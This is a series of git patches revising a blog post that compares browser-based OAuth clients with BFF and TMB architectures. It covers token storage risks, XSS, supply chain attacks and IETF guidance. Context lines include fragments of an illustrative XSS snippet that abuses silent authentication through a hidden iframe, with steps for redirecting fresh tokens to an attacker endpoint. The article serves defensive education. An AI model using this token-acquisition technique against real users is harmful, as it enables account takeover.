a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx +++ b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx @@ -56,7 +56,7 @@ This has profound implications. Public clients: - Cannot authenticate to the authorization server in the traditional sense. - Cannot prevent an attacker with access to the browser from obtaining new tokens. -Contrast this with the**confidential clients** used in BFF and TMB architectures, which can: +Contrast this with the **confidential clients** used in BFF and TMB architectures, which can: - Store client secrets server-side where users cannot access them. - Authenticate to the authorization server using those secrets. @@ -85,7 +85,7 @@ In BBOC, every token your application obtains exists in JavaScript-accessible st An attacker who compromises your browser environment gains access to everything. With TMB, an attacker gets access tokens but cannot obtain new ones after they expire. With BFF, an attacker only gets session cookies that require maintaining the session context. With BBOC, an attacker gets refresh tokens that can generate new access tokens indefinitely, even after the user closes the browser. -## The many vulnerabilities of browser token dtorage +## The many vulnerabilities of browser token storage The IETF states plainly: @@ -220,14 +220,14 @@ iframe.src = 'https://auth-provider.example.com/authorize?' + document.body.appendChild(iframe); ``` -The IETF identifies this in [Section 5.1.3 Acquisition and Extraction of New Tokens](https://www.ietf.org/archive/id/draft-ietf-oauth-browser-based-apps-17.html#name-acquisition-and-extraction-). Even if the attacker cannot directly access existing tokens in your application's storage, they can: +The IETF identifies this in Section 5.1.3 [Acquisition and Extraction of New Tokens](https://www.ietf.org/archive/id/draft-ietf-oauth-browser-based-apps-17.html#name-acquisition-and-extraction-). Even if the attacker cannot directly access existing tokens in your application's storage, they can: - Initiate a new authorization flow with attacker-controlled parameters. - Use `prompt=none` to avoid user interaction. - Redirect the response to an attacker-controlled endpoint. - Obtain fresh tokens without the user's awareness. -This attack bypasses token storage security entirely. The attacker doesn't steal existing tokens, they acquire new ones using the user's active authorization server session. +This attack bypasses token storage security entirely. The attacker doesn't steal existing tokens; they acquire new ones using the user's active authorization server session. ### Security effectiveness comparison @@ -247,7 +247,7 @@ The overall effectiveness of the architectures can be summarized as follows: - **BBOC** provides 0% mitigation, making it vulnerable to all documented attacks. - **TMB** offers average mitigation, protecting refresh tokens and preventing new token acquisition. -- **BFF** has above average mitigation, failing only on client hijacking, which is inherent to all web applications. +- **BFF** has above-average mitigation, failing only on client hijacking, a vulnerability that is inherent to all web applications. ## IETF guidance: When browser-based clients become unacceptable @@ -274,7 +274,7 @@ The implicit grant placed tokens directly in URL fragments, which are exposed th Implicit grants emerged when cross-origin resource sharing (CORS) adoption was limited and browsers couldn't make cross-origin token exchange requests. CORS is now universal. The Authorization Code Flow with PKCE provides better security with equivalent functionality. Implicit grant has no remaining justification. -**Token storage guidance is explicit.** RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks. +**Token storage guidance is explicit.** RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges that this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks. You can spot implicit grant implementations by looking for `response_type=token` in authorization requests. Any application using the implicit grant must be re-architected to use the Authorization Code Flow with PKCE. @@ -301,7 +301,7 @@ Moving from BBOC to TMB or BFF requires systematic changes to authentication flo ### Migration to TMB -Backend endpoints handle OAuth flows using PKCE, and store refresh tokens in server-side sessions while returning short-lived access tokens to the frontend. The frontend implements in-memory token storage with automatic refresh logic that calls the backend token endpoint when tokens near expiration. With TMB much of the frontend OAuth logic remains similar to BBOC, and the migration focuses on moving token exchange and storage to the backend. The frontend remains complex due to direct API calls requiring access token management. +Backend endpoints handle OAuth flows using PKCE and store refresh tokens in server-side sessions while returning short-lived access tokens to the frontend. The frontend implements in-memory token storage with automatic refresh logic that calls the backend token endpoint when tokens near expiration. With TMB, much of the frontend OAuth logic remains similar to BBOC, and the migration focuses on moving token exchange and storage to the backend. The frontend remains complex due to direct API calls requiring access token management. ### Migration to BFF @@ -323,9 +323,9 @@ We're hesitant to even list these strategies because they provide only marginal Use this framework to determine the appropriate architecture for your application: -- **Application handles PII, PHI, or financial data?** → BFF required, no exceptions. These data types demand maximum security. Regulatory compliance typically mandates BFF. -- **Requires compliance (SOC 2, HIPAA, PCI DSS, GDPR)?** → BFF required. Compliance frameworks increasingly view token-in-browser as control deficiency. -- **Otherwise** → TMB minimum, BFF preferred. +- **If your app handles PII, PHI, or financial data** → It requires BFF, no exceptions. These data types demand maximum security. Regulatory compliance typically mandates BFF. +- **If your app requires compliance (SOC 2, HIPAA, PCI DSS, GDPR)** → It requires BFF. Compliance frameworks increasingly view token-in-browser as a control deficiency. +- **Otherwise** → It requires TMB at minimum, although BFF is best. Any production application handling user data should not use BBOC. @@ -344,7 +344,7 @@ Explore these resources for a deeper understanding of OAuth security architectur - [The authentication architecture examples repository](https://github.com/kmaida/auth-architecture):** Browse working implementations of BFF, TMB, and BBOC patterns with security comparisons. - [Part 1: Backend-for-Frontend security architecture](/blog/backend-for-frontend-security-architecture):** A comprehensive guide to the most secure OAuth pattern. - [Part 2: Token-Mediating Backend security architecture](/blog/auth-architecture-part2-TMB):** The middle-ground approach, balancing security and implementation complexity. -- [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps):** IETF's authoritative specification defining browser OAuth security patterns. +- [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps):** The IETF's authoritative specification defining browser OAuth security patterns. - [RFC 9700: OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/rfc9700):** Comprehensive security requirements for OAuth implementations. - [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession](https://datatracker.ietf.org/doc/html/rfc9449):** The DPoP specification for sender-constrained tokens. - [FusionAuth Hosted Backend documentation](/docs/apis/hosted-backend):** Production BFF implementation with detailed integration guides. From 123edee9f96521fec655bdabeb03f4597431ae8f Mon Sep 17 00:00:00 2001 From: Gareth Dwyer Date: Tue, 6 Jan 2026 14:58:34 +0100 Subject: [PATCH 5/7] Apply suggestions from code review Co-authored-by: Kim Maida --- ...sed-oauth-client-security-architecture.mdx | 24 +++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx index 34dbe0be2e..f7e162970f 100644 --- a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx +++ b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx @@ -31,7 +31,7 @@ Several high-profile breaches over the last two years exploited vulnerabilities While not all these breaches involved BBOC specifically, they highlight the risks of OAuth implementations that expose tokens to client-side vulnerabilities. -This article examines why BBOC is fundamentally insecure, when it becomes unacceptable, how to implement defense-in-depth strategies when forced into BBOC, and how to migrate to architecturally secure patterns. It is part three of a series covering OAuth security architectures. [Part 1](/blog/backend-for-frontend-security-architecture) covered Backend-for-Frontend (BFF) architecture, the most secure pattern. [Part 2](/blog/auth-architecture-part2-TMB) examined Token-Mediating Backend (TMB), a moderately secure middle ground. +This article examines why BBOC is fundamentally insecure, when it becomes unacceptable, how to implement defense-in-depth strategies when forced into BBOC, and how to migrate to architecturally secure patterns. It is part three of a series covering OAuth security architectures. [Part 1 covered Backend-for-Frontend (BFF) architecture](/blog/backend-for-frontend-security-architecture), the most secure pattern. [Part 2 examined Token-Mediating Backend (TMB)](/blog/auth-architecture-part2-TMB), a moderately secure middle ground. ## Understanding BBOC architecture @@ -52,7 +52,7 @@ BBOC applications are **public clients** in OAuth terminology. A public client c This has profound implications. Public clients: - Cannot use client secrets in token exchange requests. -- Must rely entirely on PKCE (Proof Key for Code Exchange) for request validation. +- Rely on PKCE (Proof Key for Code Exchange) for request validation. - Cannot authenticate to the authorization server in the traditional sense. - Cannot prevent an attacker with access to the browser from obtaining new tokens. @@ -91,7 +91,7 @@ The IETF states plainly: > localStorage does not protect against unauthorized access from malicious JavaScript, as the attacker would be running code within the same origin, and as such, would be able to read the contents of the localStorage. -This understates the problem. Browser storage provides essentially zero protection against credential theft when JavaScript code is compromised. Understanding the attack vectors reveals why no amount of defense can make BBOC secure. +This understates the problem. Browser storage provides essentially zero protection against credential theft when JavaScript code is compromised. Understanding the attack vectors reveals why browser-based OAuth 2.0 clients are extremely vulnerable. ### Vulnerability 1: Cross-Site Scripting token theft @@ -118,7 +118,7 @@ XSS vulnerabilities arise from multiple sources: - Third-party script compromise. - Supply chain attacks on dependencies. -Content Security Policy (CSP) provides defense against some XSS attacks but cannot eliminate the risk. A single CSP bypass, and researchers discover them regularly, exposes all tokens. The fundamental problem is that JavaScript-accessible storage is accessible to all JavaScript, malicious or legitimate. +Content Security Policy (CSP) provides defense against some XSS attacks but cannot eliminate the risk. A single CSP bypass (which researchers discover regularly) exposes all tokens. The fundamental problem is that JavaScript-accessible storage is accessible to all JavaScript, malicious or legitimate. ### Vulnerability 2: Supply chain attacks on the npm ecosystem @@ -143,11 +143,11 @@ The combination of long-lived refresh tokens and browser storage creates catastr BBOC implementations must choose where to store tokens. Every option has security implications: -**In-memory storage** stores tokens in JavaScript variables rather than browser APIs. Tokens disappear on page reload, requiring users to re-authenticate. This provides slightly better security, as tokens only exist while JavaScript is running. However, the user experience degradation is severe. Every page reload, tab refresh, or navigation forces re-authentication. Users find this unacceptable for any non-trivial application. Security improvements are minimal since XSS attacks still access in-memory variables. +**In-memory storage** stores tokens in JavaScript variables rather than browser APIs. Tokens disappear on page reload, requiring users to re-authenticate. This reduces the attack time window, as tokens only exist while JavaScript is running. However, the user experience degradation is severe. Every page reload or tab refresh forces re-authentication. Users find this unacceptable for any non-trivial application. Security improvements are minimal since XSS attacks still access in-memory variables. **`sessionStorage`** isolates tokens to a single browser tab. Tokens don't persist across tab closures. Different tabs require separate authentications. This provides tab-level isolation but remains fully vulnerable to XSS within that tab context. An attacker compromising any tab gains full token access for that session. -**`localStorage`** is the most common choice. Tokens persist across page reloads and tab closures. `localStorage` shares tokens across all tabs in the same origin. This provides the best user experience - users authenticate once and remain authenticated across sessions. It also provides the worst security - tokens persist indefinitely until explicitly cleared, and all JavaScript in the origin can access them. XSS attacks on any page in your domain expose all tokens. +**`localStorage`** is the most common choice. Tokens persist across page reloads and tab closures. `localStorage` shares tokens across all tabs in the same origin. This provides the least disruptive user experience: users authenticate once and remain authenticated across sessions. It also provides the worst security: tokens persist indefinitely until explicitly cleared, and all JavaScript in the origin can access them. XSS attacks on any page in your domain expose all tokens. **IndexedDB:** Offers similar capabilities to `localStorage` with more complex APIs and larger storage capacity. IndexedDB provides no security advantages over `localStorage` for token storage. The same XSS and JavaScript access concerns apply. The added complexity provides no security benefit. @@ -163,9 +163,9 @@ However, service workers still have vulnerabilities: - **Proxy attacks:** Compromised service workers intercept all network traffic including token requests. - **Update exploitation:** Attackers who compromise the service worker update process and can inject malicious code. -Service workers provide the best *browser-based* storage security. This is still fundamentally less secure than not storing tokens in the browser at all. +Service workers provide the least insecure *browser-based* storage security. This is still fundamentally less secure than not storing tokens in the browser at all. -The token storage choice presents a false dilemma. In-memory storage offers better security but terrible UX. `localStorage` offers better UX but worse security. Service workers offer a middle ground but still expose tokens to JavaScript contexts. The only secure solution is not storing tokens in the browser - which requires moving beyond BBOC to TMB or BFF architectures. +The token storage choice presents a false dilemma. In-memory storage offers better security but terrible UX. `localStorage` offers better UX but terrible security. Service workers offer a middle ground but still expose tokens to JavaScript contexts. The only secure solution is not storing tokens in the browser, which requires moving beyond BBOC to TMB or BFF architectures. ### Vulnerability 5: Prototype pollution and API interception @@ -203,7 +203,7 @@ Prototype pollution attacks succeed even when you store tokens in JavaScript clo ### Vulnerability 6: Silent authentication abuse -OAuth providers support "silent authentication" to refresh user sessions without visible redirects. Applications implement this using hidden iframes that load the authorization endpoint. If the user has an active session, the authorization server immediately returns new tokens without user interaction. +Some OAuth providers support "silent authentication" to refresh user sessions without visible redirects. Applications implement this using hidden iframes that load the authorization endpoint. If the user has an active session, the authorization server immediately returns new tokens without user interaction. Silent authentication improves user experience by preventing repeated login prompts. It also creates an attack vector. An attacker who achieves XSS can abuse this pattern by executing the following code: @@ -254,7 +254,7 @@ The overall effectiveness of the architectures can be summarized as follows: The IETF provides authoritative OAuth guidance through multiple specifications. Two documents define current best practices: - **OAuth 2.0 Security Best Current Practice** (RFC 9700, published January 2025): Consolidates security recommendations across the OAuth ecosystem. -- **OAuth 2.0 for Browser-Based Applications** (draft-25, RFC expected soon): Specific guidance for browser implementations. +- **OAuth 2.0 for Browser-Based Applications** (in draft, future RFC expected): Specific guidance for browser implementations. ### RFC 9700 mandates @@ -305,7 +305,7 @@ Backend endpoints handle OAuth flows using PKCE and store refresh tokens in serv ### Migration to BFF -BFF requires roughly double the TMB effort, implementing a universal proxy endpoint that validates sessions, manages token refresh automatically, and forwards all API requests to resource servers. Frontend code is simplified to a basic API client that routes calls through the proxy with session cookies for authentication — no token management needed. Additional challenges include performance optimization through connection pooling and caching to address added proxy latency. +BFF requires implementation of proxy endpoints that validate sessions, manage token refresh automatically, and forward all API requests to resource servers. Frontend code is simplified to a basic API client that routes calls through the proxy with session cookies for authentication — no token management needed. Additional challenges include performance optimization through connection pooling and caching to address added proxy latency. ## When forced into BBOC @@ -317,7 +317,7 @@ If you're forced into a BBOC architecture due to legacy constraints, third-party - **Rate limiting:** Apply aggressive rate limiting on authentication endpoints to slow brute force and token theft attempts. - **Demonstrating Proof of Possession (DPoP):** Implement DPoP to bind tokens to specific clients, preventing token replay by attackers. -We're hesitant to even list these strategies because they provide only marginal security improvements. If you're investing significant effort into these controls, you're better off investing in migrating to TMB or BFF architectures. +Most strategies provide only marginal security improvements, with the exception of DPoP and mTLS. If you're investing significant effort into these controls, you're better off investing in migrating to TMB or BFF architectures. ## Decision framework From fd80d4e27acde733bdf52c24dfce058c88155cdf Mon Sep 17 00:00:00 2001 From: bethh0rn Date: Wed, 7 Jan 2026 14:58:47 +0200 Subject: [PATCH 6/7] Consistency edit --- ...-based-oauth-client-security-architecture.mdx | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx index f7e162970f..a96668f7fc 100644 --- a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx +++ b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx @@ -160,8 +160,8 @@ BBOC implementations must choose where to store tokens. Every option has securit However, service workers still have vulnerabilities: - **Registration manipulation:** Attackers can register malicious service workers if they achieve code execution in the page context. -- **Proxy attacks:** Compromised service workers intercept all network traffic including token requests. -- **Update exploitation:** Attackers who compromise the service worker update process and can inject malicious code. +- **Proxy attacks:** Compromised service workers intercept all network traffic, including token requests. +- **Update exploitation:** Attackers who compromise the update process of the service worker can inject malicious code. Service workers provide the least insecure *browser-based* storage security. This is still fundamentally less secure than not storing tokens in the browser at all. @@ -264,7 +264,7 @@ RFC 9700 establishes mandatory security requirements for all OAuth implementatio > Although PKCE was designed as a mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications. -Public clients like BBOC must use PKCE without exception. Even confidential clients should implement PKCE for defense-in-depth. +Public clients like BBOC must use PKCE without exception. Even confidential clients should implement PKCE for defense-in-depth. OAuth 2.1 now requires both public and confidential clients to use PKCE. **The implicit grant is officially deprecated.** RFC 9700 explicitly states: @@ -274,13 +274,13 @@ The implicit grant placed tokens directly in URL fragments, which are exposed th Implicit grants emerged when cross-origin resource sharing (CORS) adoption was limited and browsers couldn't make cross-origin token exchange requests. CORS is now universal. The Authorization Code Flow with PKCE provides better security with equivalent functionality. Implicit grant has no remaining justification. -**Token storage guidance is explicit.** RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges that this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks. - You can spot implicit grant implementations by looking for `response_type=token` in authorization requests. Any application using the implicit grant must be re-architected to use the Authorization Code Flow with PKCE. +**Token storage guidance is explicit.** RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges that this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks. + ### Guidance in the OAuth 2.0 for Browser-Based Applications draft -The [OAuth 2.0 for Browser-Based Applications](https://www.ietf.org/archive/id/draft-ietf-oauth-browser-based-apps-17.html#name-summary-3) specification provides explicit guidance on BBOC: +The [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps#section-6.3.4.3) specification provides explicit guidance on BBOC: > This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data. @@ -301,11 +301,11 @@ Moving from BBOC to TMB or BFF requires systematic changes to authentication flo ### Migration to TMB -Backend endpoints handle OAuth flows using PKCE and store refresh tokens in server-side sessions while returning short-lived access tokens to the frontend. The frontend implements in-memory token storage with automatic refresh logic that calls the backend token endpoint when tokens near expiration. With TMB, much of the frontend OAuth logic remains similar to BBOC, and the migration focuses on moving token exchange and storage to the backend. The frontend remains complex due to direct API calls requiring access token management. +Backend endpoints handle OAuth flows using PKCE and store refresh tokens in server-side sessions while returning short-lived access tokens to the frontend. The frontend implements in-memory token storage with automatic refresh logic that calls the backend token endpoint when tokens near expiration. With [TMB](/blog/auth-architecture-part2-TMB), much of the frontend OAuth logic remains similar to BBOC, and the migration focuses on moving token exchange and storage to the backend. The frontend remains complex due to direct API calls requiring access token management. ### Migration to BFF -BFF requires implementation of proxy endpoints that validate sessions, manage token refresh automatically, and forward all API requests to resource servers. Frontend code is simplified to a basic API client that routes calls through the proxy with session cookies for authentication — no token management needed. Additional challenges include performance optimization through connection pooling and caching to address added proxy latency. +[BFF](/blog/backend-for-frontend-security-architecture) requires implementation of proxy endpoints that validate sessions, manage token refresh automatically, and forward all API requests to resource servers. Frontend code is simplified to a basic API client that routes calls through the proxy with session cookies for authentication — no token management needed. Additional challenges include performance optimization through connection pooling and caching to address added proxy latency. ## When forced into BBOC From 5112174a59c91bee61d7f2f34d5a87e595b92f99 Mon Sep 17 00:00:00 2001 From: Lewis Dwyer Date: Thu, 8 Jan 2026 14:29:19 +0200 Subject: [PATCH 7/7] adding feedback based changes --- .../browser-based-oauth-client-security-architecture.mdx | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx index a96668f7fc..543e9bbd28 100644 --- a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx +++ b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx @@ -51,9 +51,8 @@ BBOC applications are **public clients** in OAuth terminology. A public client c This has profound implications. Public clients: -- Cannot use client secrets in token exchange requests. +- Cannot authenticate to the authorization server using client secrets. - Rely on PKCE (Proof Key for Code Exchange) for request validation. -- Cannot authenticate to the authorization server in the traditional sense. - Cannot prevent an attacker with access to the browser from obtaining new tokens. Contrast this with the **confidential clients** used in BFF and TMB architectures, which can: @@ -205,7 +204,7 @@ Prototype pollution attacks succeed even when you store tokens in JavaScript clo Some OAuth providers support "silent authentication" to refresh user sessions without visible redirects. Applications implement this using hidden iframes that load the authorization endpoint. If the user has an active session, the authorization server immediately returns new tokens without user interaction. -Silent authentication improves user experience by preventing repeated login prompts. It also creates an attack vector. An attacker who achieves XSS can abuse this pattern by executing the following code: +Silent authentication improves user experience by preventing repeated login prompts. However, browser privacy features like Intelligent Tracking Prevention (ITP) increasingly block the cross-origin cookies it relies on, making it unreliable. It also creates an attack vector. An attacker who achieves XSS can abuse this pattern by executing the following code ```javascript // Create hidden iframe for silent authentication @@ -316,6 +315,7 @@ If you're forced into a BBOC architecture due to legacy constraints, third-party - **Subresource Integrity (SRI):** Use SRI for all third-party scripts to prevent supply chain attacks from compromising your application. - **Rate limiting:** Apply aggressive rate limiting on authentication endpoints to slow brute force and token theft attempts. - **Demonstrating Proof of Possession (DPoP):** Implement DPoP to bind tokens to specific clients, preventing token replay by attackers. +- **Mutual TLS ([mTLS](https://datatracker.ietf.org/doc/html/rfc8705)):** Similar to DPoP, use mTLS to bind tokens to client certificates. This is not ideal for browser implementation as it requires managed certificate distribution. Most strategies provide only marginal security improvements, with the exception of DPoP and mTLS. If you're investing significant effort into these controls, you're better off investing in migrating to TMB or BFF architectures.